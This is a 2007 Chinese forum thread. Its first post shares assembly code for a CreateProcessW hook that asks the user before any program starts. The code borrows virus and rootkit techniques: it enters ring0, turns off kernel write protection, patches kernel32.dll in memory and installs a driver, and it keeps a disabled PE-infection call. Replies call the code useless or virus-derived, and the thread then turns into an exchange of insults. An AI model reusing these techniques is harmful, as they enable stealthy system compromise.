阅读:4603回复:24
感觉SSM太罗嗦了!
自己编了个软件,Hook住CreatProcess,这样就不怕漏洞了,呵呵。
.586p .model flat,stdcall option casemap:none include windows.inc include kernel32.inc include user32.inc include advapi32.inc include mpr.inc include macros.asm includelib kernel32.lib includelib user32.lib includelib advapi32.lib includelib mpr.lib include ring0.inc RoutineSize = offset RoutineEnd-offset RoutineStart .code RoutineStart: _NewStart: invoke LoadLibrary,CTXT("kernel32.dll") mov ebp,eax call @F @@: pop ebx sub ebx,offset @B ;Give me the address of Api lea esi,FunctionNameTab[ebx] lea edi,FunctionAddressTab[ebx] @@: lodsd push eax push ebp call _GetProcAddress stosd cmp dword ptr [esi],0 loopnz @b invoke LoadLibrary,CTXT("user32.dll") invoke GetProcAddress,eax,CTXT("MessageBoxW") mov dwMessageBoxW[ebx],eax ;Enter Ring0 call _OpenSys call fword ptr [Callgt][ebx] mov eax,esp ;save ring0 esp mov esp,[esp+4];->ring3 esp push eax mov eax,cr0 push eax btr eax,16 mov cr0,eax mov edx,dwCreateProcessInternalW[ebx] sub edx,ebp lea ecx,[edx-(300h+(offset _JmpOffset-offset RoutineStart))] mov dword ptr _JmpOffset[ebx-4],ecx lea edi,[ebp+300h] lea esi,RoutineStart[ebx] push 16 pop ecx pushad repz cmpsb popad mov ecx,RoutineSize rep movsb ;copy me to kernel32.dll mov edx,dwCreateProcessW[ebx] mov ecx,80h @@: inc edx cmp dword ptr [edx],0e8006a08h ;Get CreateProcessInternalW() loopnz @b lea ecx,[edx+8] sub ecx,ebp sub ecx,300h+offset _NewCreateProcessW-offset RoutineStart neg ecx mov [edx+4],ecx ;HOOK CreateProcessW() pop eax mov cr0,eax pop esp lea eax,@f[ebx] push eax retf @@: popad ;invoke MessageBox,NULL,CTXT("已经成功安装!"),CTXT("Success!"),MB_OK invoke ExitProcess,0 ret _NewCreateProcessW: ;My CreateProcessW() pushad call @F @@: pop edx sub edx,offset @B mov ebx,edx mov edi,[esp+20h+12] inc edi inc edi mov esi,edi push 22h pop eax mov ecx,100h repnz scasw mov byte ptr [edi-2],0 ;push esi ;call _EditFile ;infect PE file push MB_YESNO lea eax,uszMenu[ebx] push eax push esi push NULL call dwMessageBoxW[ebx] .if eax==7 ;invoke MessageBox, NULL, CommandLine, addr mdb, MB_YESNO mov edi,[esp+20h+8] ;打开进程的字符串 mov dword ptr [edi],0 .endif mov byte ptr [edi-2],22h popad db 0e9h dd 0 _JmpOffset: _OpenSys proc local hSCManager:HANDLE local hService:HANDLE local acDriverPath[MAX_PATH]:CHAR ; Open a handle to the SC Manager database invoke OpenSCManager, NULL, NULL, SC_MANAGER_CREATE_SERVICE .if eax != NULL mov hSCManager, eax push eax invoke GetFullPathName, CTXT("sys.sys",0), sizeof acDriverPath, addr acDriverPath, esp pop eax ; Register driver in SCM active database invoke CreateService, hSCManager, CTXT("sys",0), CTXT("System",0), \ SERVICE_START + DELETE, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, \ SERVICE_ERROR_IGNORE, addr acDriverPath, NULL, NULL, NULL, NULL, NULL .if eax != NULL mov hService, eax invoke StartService, hService, 0, NULL ; Here driver beeper.sys plays its nice melody ; and reports error to be removed from memory ; Remove driver from SCM database invoke DeleteService, hService invoke CloseServiceHandle, hService .else invoke MessageBox, NULL, CTXT("Can't register driver.",0), NULL, MB_ICONSTOP .endif invoke CloseServiceHandle, hSCManager .else invoke MessageBox, NULL, CTXT("Can't connect to Service Control Manager.",0), \ NULL, MB_ICONSTOP .endif ret _OpenSys endp _GetProcAddress proc _hModule,_ProcName ;This routine is writing by others:) pushad mov edx,_hModule add edx,[edx+3ch] mov edx,[edx+78h] add edx,_hModule mov ecx,[edx+18h] mov esi,[edx+20h] add esi,_hModule @@: push ecx lodsd add eax,_hModule xor edi,edi .repeat mov ecx,[eax] inc eax adc edi,ecx rol ecx,8 .until cl==0 cmp edi,_ProcName ;Add and compare ,maybe have bugs. pop ecx loopnz @b .if ZERO? sub esi,4 sub esi,_hModule sub esi,[edx+20h] shr esi,1 add esi,[edx+24h] add esi,_hModule lodsd movzx eax,ax shl eax,2 add eax,[edx+1ch] add eax,_hModule mov edx,[eax] add edx,_hModule mov [esp+1ch],edx .else mov dword ptr [esp+1ch],0 .endif popad ret _GetProcAddress endp dwOldEntryCom db 0,0,0,0,0 ;The OldEntry ;Section Data _SectionAddress: dd offset RoutineStart dd RoutineSize dd 18h*2 dup(0) ;New start ;WIN API的自定义编码表 FunctionNameTab: szCreateProcessW dd 074D9F4C0h szCreateFileW dd 01479946Fh szGetFileAttributesW dd 004788654h szSetFileAttributesW dd 004788660h szCreateFileMappingW dd 0E3486339h szMapViewOfFile dd 0D444401Dh szUnmapViewOfFile dd 0A6131C00h szGetFileSize dd 01E92925Ch szGetFileTime dd 01286865Dh szSetFileTime dd 012868669h szGetFileType dd 02599996Dh szCloseHandle dd 027969D71h szCreateProcessInternalW dd 0B51A3504h szLoadLibraryA dd 07DDF0CDCh szOpenProcess dd 050B5B28Bh szVirtualAllocEx dd 062D4C5D2h szLocalFree dd 051B4BEA3h szGetProcAddress dd 05ED2C494h dd 0 FunctionAddressTab: dwCreateProcessW dd 0 dwCreateFileW dd 0 dwGetFileAttributesW dd 0 dwSetFileAttributesW dd 0 dwCreateFileMappingW dd 0 dwMapViewOfFile dd 0 dwUnmapViewOfFile dd 0 dwGetFileSize dd 0 dwGetFileTime dd 0 dwSetFileTime dd 0 dwGetFileType dd 0 dwCloseHandle dd 0 dwCreateProcessInternalW dd 0 dwLoadLibraryA dd 0 dwOpenProcess dd 0 dwVirtualAllocEx dd 0 dwLocalFree dd 0 dwGetProcAddress dd 0 dwMessageBoxW dd 0 uszMenu equ this byte UNICODE_STR <Process will be Creat,Continue?> dd 0 ;szGetLastError db 'GetLastError',0 szVersion db 'VER1.0',0 szNtdll db "Ntdll.dll",0 ;szZwOpenSection db "ZwOpenSection",0 ;szZwClose db "ZwClose",0 szadvapi32 db "advapi32.dll",0 ;szGetSecurityInfo db "GetSecurityInfo",0 szCURRENT_USER db "CURRENT_USER",0 ;szSetEntriesInAclA db "SetEntriesInAclA",0 ;szSetSecurityInfo db "SetSecurityInfo",0 Callgt dd 0 dw 353h GdtLimit dw 0 GdtAddr dd 0 mapAddr dd 0 align 4 objname dw objnamestr_size,objnamestr_size+2 objnameptr dd 0 objnamestr equ this byte UNICODE_STR <\Device\PhysicalMemory> objnamestr_size equ $-objnamestr align 4 ObjAttr db 24 dup (0) RoutineEnd: invoke ExitProcess,0 end RoutineStart |
|
|
沙发#
发布于:2007-04-06 09:15
没用,你这样做一样可以让你中病毒,木马。
|
|
|
板凳#
发布于:2007-04-06 10:01
呵呵,你应该仔细看看这段代码,感觉像是什么改编的呢?
|
|
地板#
发布于:2007-04-06 10:31
我们是害虫~~
|
|
|
地下室#
发布于:2007-04-06 12:43
同意2楼,,简直是废物。。。
|
|
|
5楼#
发布于:2007-04-06 15:04
哪来的钩子?
|
|
6楼#
发布于:2007-04-06 16:18
支持zjjmj2002
虽然代码似乎看着没有用,不过比4楼光动嘴的强多了 |
|
|
7楼#
发布于:2007-04-08 16:59
严重同意~~
不就是所谓只对自己人开源的qihoo么? 没有M$的实力就别说什么对自己开源,否则天谴~~ 支持yahoo,干掉qihoo~ |
|
|
8楼#
发布于:2007-04-08 17:09
楼上的小心干掉SRX
|
|
|
9楼#
发布于:2007-04-10 08:51
引用第8楼WQXNETQIQI于2007-04-08 17:09发表的“”: 请这位妹妹给答个疑,SRX是个啥? 谢谢 |
|
|
10楼#
发布于:2007-04-11 08:58
楼上的mm不回答就算了,呵呵
|
|
|
驱动小牛
|
11楼#
发布于:2007-04-11 14:26
哈哈,V大都对QIHOO的骗局有意见了.看来QIHOO的形象的确不大好.
|
12楼#
发布于:2007-04-14 08:29
引用第7楼killvxk于2007-04-08 16:59发表的“”: 支持 |
|
|
13楼#
发布于:2007-04-17 14:09
引用第1楼wowocock于2007-04-06 09:15发表的“”: wowocock想看你的ssm。。。 |
|
14楼#
发布于:2007-05-12 19:35
支持zjjmj2002
强烈BS四楼 二楼 怎么就不见你们贴出个代码? 人家贴了许多源码的贴你们却到处泼冷水 我是新手,觉得源码是最好的学习 再BS你们两个垃圾 算什么 有本事拿点作品出来! 还中牛` 简直一对SB!!! |
|
|
15楼#
发布于:2007-05-12 20:09
天哪,我变成和wowocock老大一样的SB了
我太荣幸了 |
|
|
16楼#
发布于:2007-05-12 20:10
亲爱的wowocock,来,我们一对SB快拥抱一下
|
|
|
17楼#
发布于:2007-05-13 11:31
引用第15楼WQXNETQIQI于2007-05-12 20:09发表的“”: 再来BS一下! 你有啥能耐?? 你有技术你倒是贴出来看看 一张嘴巴就想证明你有技术? 我看你那嘴巴还是回家吃屎吧 白痴! |
|
|
18楼#
发布于:2007-05-13 12:03
楼上相当火大啊,不过很明显大家都能看得出来是谁吃了SHIT导致满嘴喷粪
|
|
|
19楼#
发布于:2007-05-13 13:55
引用第16楼WQXNETQIQI于2007-05-12 20:10发表的“”: 深了 |
|
上一页
下一页